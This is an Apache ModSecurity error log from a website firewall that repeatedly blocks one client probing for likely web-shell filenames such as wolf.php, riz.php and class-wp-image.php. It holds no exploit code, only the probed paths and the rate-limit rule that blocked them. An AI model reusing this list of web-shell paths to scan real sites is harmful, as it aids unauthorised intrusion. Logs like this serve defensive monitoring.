[Thu Apr 09 19:03:03.797907 2026] [:error] [pid 18477:tid 18488] [client 158.158.108.248:46592] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adeHZ8De826HlFeoLPKH1AAAAUk"]
[Thu Apr 09 19:03:04.378440 2026] [:error] [pid 24515:tid 24521] [client 158.158.108.248:56427] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adeHaK1OMnvM2fMnB1OG2wAAAAI"]
[Thu Apr 09 19:03:04.974508 2026] [:error] [pid 18477:tid 18479] [client 158.158.108.248:1147] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adeHaMDe826HlFeoLPKH1wAAAUA"]
[Thu Apr 09 19:03:05.611650 2026] [:error] [pid 24515:tid 24527] [client 158.158.108.248:32912] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "adeHaa1OMnvM2fMnB1OG3QAAAAg"]
[Thu Apr 09 19:03:06.445018 2026] [:error] [pid 24515:tid 24541] [client 158.158.108.248:52376] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r2.php"] [unique_id "adeHaq1OMnvM2fMnB1OG4AAAABY"]
[Thu Apr 09 19:03:07.590468 2026] [:error] [pid 24515:tid 24528] [client 158.158.108.248:15145] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r2.php"] [unique_id "adeHa61OMnvM2fMnB1OG4gAAAAk"]
[Thu Apr 09 19:03:08.494850 2026] [:error] [pid 24927:tid 24954] [client 158.158.108.248:20984] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r2.php"] [unique_id "adeHbDXObuzEuw8mNJsK7AAAARg"]
[Thu Apr 09 19:03:09.642109 2026] [:error] [pid 24927:tid 24953] [client 158.158.108.248:15106] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r2.php"] [unique_id "adeHbTXObuzEuw8mNJsK9QAAARc"]
[Thu Apr 09 19:03:10.487936 2026] [:error] [pid 24927:tid 24951] [client 158.158.108.248:1097] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adeHbjXObuzEuw8mNJsK-QAAARU"]
[Thu Apr 09 19:03:12.202752 2026] [:error] [pid 24927:tid 24935] [client 158.158.108.248:32915] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adeHcDXObuzEuw8mNJsK_wAAAQU"]
[Thu Apr 09 19:03:13.108363 2026] [:error] [pid 24927:tid 24936] [client 158.158.108.248:1144] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adeHcTXObuzEuw8mNJsLAAAAAQY"]
[Thu Apr 09 19:03:14.101041 2026] [:error] [pid 24927:tid 24940] [client 158.158.108.248:52371] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adeHcjXObuzEuw8mNJsLAgAAAQo"]
[Thu Apr 09 19:03:14.776074 2026] [:error] [pid 24927:tid 24930] [client 158.158.108.248:15138] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "adeHcjXObuzEuw8mNJsLBAAAAQA"]
[Thu Apr 09 19:03:15.456972 2026] [:error] [pid 18477:tid 18489] [client 158.158.108.248:22895] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "adeHc8De826HlFeoLPKH4QAAAUo"]
[Thu Apr 09 19:03:16.327364 2026] [:error] [pid 20837:tid 20857] [client 158.158.108.248:49920] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "adeHdPSL71FHZkjrGzPSJAAAAZI"]
[Thu Apr 09 19:03:17.176954 2026] [:error] [pid 24624:tid 24640] [client 158.158.108.248:1478] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "adeHde4Jn-WvK1ZBTvjAkQAAAM4"]
[Thu Apr 09 19:03:17.694883 2026] [:error] [pid 24516:tid 24561] [client 158.158.108.248:22903] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adeHddhW7vSS-UkeWCUkfgAAAE4"]
[Thu Apr 09 19:03:18.202243 2026] [:error] [pid 24516:tid 24547] [client 158.158.108.248:12836] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adeHdthW7vSS-UkeWCUkfwAAAEA"]
[Thu Apr 09 19:03:18.705281 2026] [:error] [pid 18477:tid 18481] [client 158.158.108.248:53056] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adeHdsDe826HlFeoLPKH5QAAAUI"]
[Thu Apr 09 19:03:19.257997 2026] [:error] [pid 24624:tid 24626] [client 158.158.108.248:1091] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adeHd-4Jn-WvK1ZBTvjAkgAAAMA"]
[Thu Apr 09 19:03:19.810291 2026] [:error] [pid 24517:tid 24597] [client 158.158.108.248:42718] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/riz.php"] [unique_id "adeHd3boYEn2ZFM_PS917wAAAJc"]
[Thu Apr 09 19:03:20.468194 2026] [:error] [pid 18477:tid 18484] [client 158.158.108.248:15143] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/riz.php"] [unique_id "adeHeMDe826HlFeoLPKH5gAAAUU"]
[Thu Apr 09 19:03:21.007541 2026] [:error] [pid 20837:tid 20853] [client 158.158.108.248:49954] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/riz.php"] [unique_id "adeHefSL71FHZkjrGzPSJQAAAY4"]
[Thu Apr 09 19:03:21.498113 2026] [:error] [pid 24517:tid 24584] [client 158.158.108.248:20976] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/riz.php"] [unique_id "adeHeXboYEn2ZFM_PS918AAAAIo"]
[Thu Apr 09 19:03:22.018371 2026] [:error] [pid 20837:tid 20855] [client 158.158.108.248:32902] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adeHevSL71FHZkjrGzPSJwAAAZA"]
[Thu Apr 09 19:03:22.534846 2026] [:error] [pid 18477:tid 18486] [client 158.158.108.248:22869] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adeHesDe826HlFeoLPKH5wAAAUc"]
[Thu Apr 09 19:03:23.060224 2026] [:error] [pid 20837:tid 20849] [client 158.158.108.248:32903] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adeHe_SL71FHZkjrGzPSKQAAAYo"]
[Thu Apr 09 19:03:23.631354 2026] [:error] [pid 20837:tid 20862] [client 158.158.108.248:41416] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "adeHe_SL71FHZkjrGzPSKgAAAZc"]
[Thu Apr 09 19:03:24.116739 2026] [:error] [pid 24624:tid 24645] [client 158.158.108.248:12822] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adeHfO4Jn-WvK1ZBTvjAlgAAANM"]
[Thu Apr 09 19:03:24.746020 2026] [:error] [pid 24624:tid 24633] [client 158.158.108.248:15126] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adeHfO4Jn-WvK1ZBTvjAlwAAAMc"]
[Thu Apr 09 19:03:25.246297 2026] [:error] [pid 24515:tid 24530] [client 158.158.108.248:52389] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adeHfa1OMnvM2fMnB1OG8gAAAAs"]
[Thu Apr 09 19:03:25.857158 2026] [:error] [pid 20837:tid 20847] [client 158.158.108.248:42742] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/om.php"] [unique_id "adeHffSL71FHZkjrGzPSLAAAAYg"]
[Thu Apr 09 19:03:26.376312 2026] [:error] [pid 24517:tid 24585] [client 158.158.108.248:12805] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "adeHfnboYEn2ZFM_PS918gAAAIs"]
[Thu Apr 09 19:03:26.890529 2026] [:error] [pid 24517:tid 24589] [client 158.158.108.248:41433] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "adeHfnboYEn2ZFM_PS919AAAAI8"]
[Thu Apr 09 19:03:27.372832 2026] [:error] [pid 24624:tid 24648] [client 158.158.108.248:12844] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "adeHf-4Jn-WvK1ZBTvjAmAAAANY"]
[Thu Apr 09 19:03:27.996997 2026] [:error] [pid 24517:tid 24592] [client 158.158.108.248:50007] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/006.php"] [unique_id "adeHf3boYEn2ZFM_PS919wAAAJI"]
[Thu Apr 09 19:03:28.710368 2026] [:error] [pid 24515:tid 24539] [client 158.158.108.248:32946] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adeHgK1OMnvM2fMnB1OG8wAAABQ"]
[Thu Apr 09 19:03:29.193361 2026] [:error] [pid 18477:tid 18501] [client 158.158.108.248:20948] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adeHgcDe826HlFeoLPKH7QAAAVY"]
[Thu Apr 09 19:03:29.880677 2026] [:error] [pid 24927:tid 24942] [client 158.158.108.248:1526] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adeHgTXObuzEuw8mNJsLCgAAAQw"]
[Thu Apr 09 19:03:30.403248 2026] [:error] [pid 24515:tid 24519] [client 158.158.108.248:1145] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "adeHgq1OMnvM2fMnB1OG9QAAAAA"]
[Thu Apr 09 19:03:30.995263 2026] [:error] [pid 20837:tid 20840] [client 158.158.108.248:32939] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adeHgvSL71FHZkjrGzPSNAAAAYE"]
[Thu Apr 09 19:03:31.770852 2026] [:error] [pid 24515:tid 24525] [client 158.158.108.248:49994] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adeHg61OMnvM2fMnB1OG9gAAAAY"]
[Thu Apr 09 19:03:32.453486 2026] [:error] [pid 24927:tid 24954] [client 158.158.108.248:14071] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adeHhDXObuzEuw8mNJsLDAAAARg"]
[Thu Apr 09 19:03:33.037462 2026] [:error] [pid 24624:tid 24632] [client 158.158.108.248:14017] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "adeHhe4Jn-WvK1ZBTvjAmQAAAMY"]
[Thu Apr 09 19:03:33.555901 2026] [:error] [pid 24516:tid 24568] [client 158.158.108.248:42729] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adeHhdhW7vSS-UkeWCUkhAAAAFU"]
[Thu Apr 09 19:03:34.247133 2026] [:error] [pid 18477:tid 18495] [client 158.158.108.248:42748] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adeHhsDe826HlFeoLPKH8gAAAVA"]
[Thu Apr 09 19:03:34.794782 2026] [:error] [pid 18477:tid 18484] [client 158.158.108.248:20945] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adeHhsDe826HlFeoLPKH9AAAAUU"]
[Thu Apr 09 19:03:35.446801 2026] [:error] [pid 24927:tid 24944] [client 158.158.108.248:28248] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf.php"] [unique_id "adeHhzXObuzEuw8mNJsLEAAAAQ4"]
[Thu Apr 09 19:03:36.097387 2026] [:error] [pid 20837:tid 20857] [client 158.158.108.248:49998] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adeHiPSL71FHZkjrGzPSOQAAAZI"]
[Thu Apr 09 19:03:36.707498 2026] [:error] [pid 24927:tid 24949] [client 158.158.108.248:28287] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adeHiDXObuzEuw8mNJsLEwAAARM"]
[Thu Apr 09 19:03:37.333410 2026] [:error] [pid 24927:tid 24939] [client 158.158.108.248:14016] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adeHiTXObuzEuw8mNJsLFQAAAQk"]
[Thu Apr 09 19:03:37.922669 2026] [:error] [pid 24517:tid 24591] [client 158.158.108.248:31819] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adeHiXboYEn2ZFM_PS91-QAAAJE"]
[Thu Apr 09 19:03:38.728413 2026] [:error] [pid 24927:tid 24938] [client 158.158.108.248:32922] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "adeHijXObuzEuw8mNJsLGAAAAQg"]
[Thu Apr 09 19:03:39.346370 2026] [:error] [pid 24927:tid 24952] [client 158.158.108.248:42720] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "adeHizXObuzEuw8mNJsLGQAAARY"]
[Thu Apr 09 19:03:40.142650 2026] [:error] [pid 24927:tid 24951] [client 158.158.108.248:31851] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "adeHjDXObuzEuw8mNJsLGgAAARU"]
[Thu Apr 09 19:03:40.911933 2026] [:error] [pid 24515:tid 24520] [client 158.158.108.248:32921] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "adeHjK1OMnvM2fMnB1OG-QAAAAE"]
[Thu Apr 09 19:03:41.507019 2026] [:error] [pid 24927:tid 24947] [client 158.158.108.248:22893] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adeHjTXObuzEuw8mNJsLHgAAARE"]
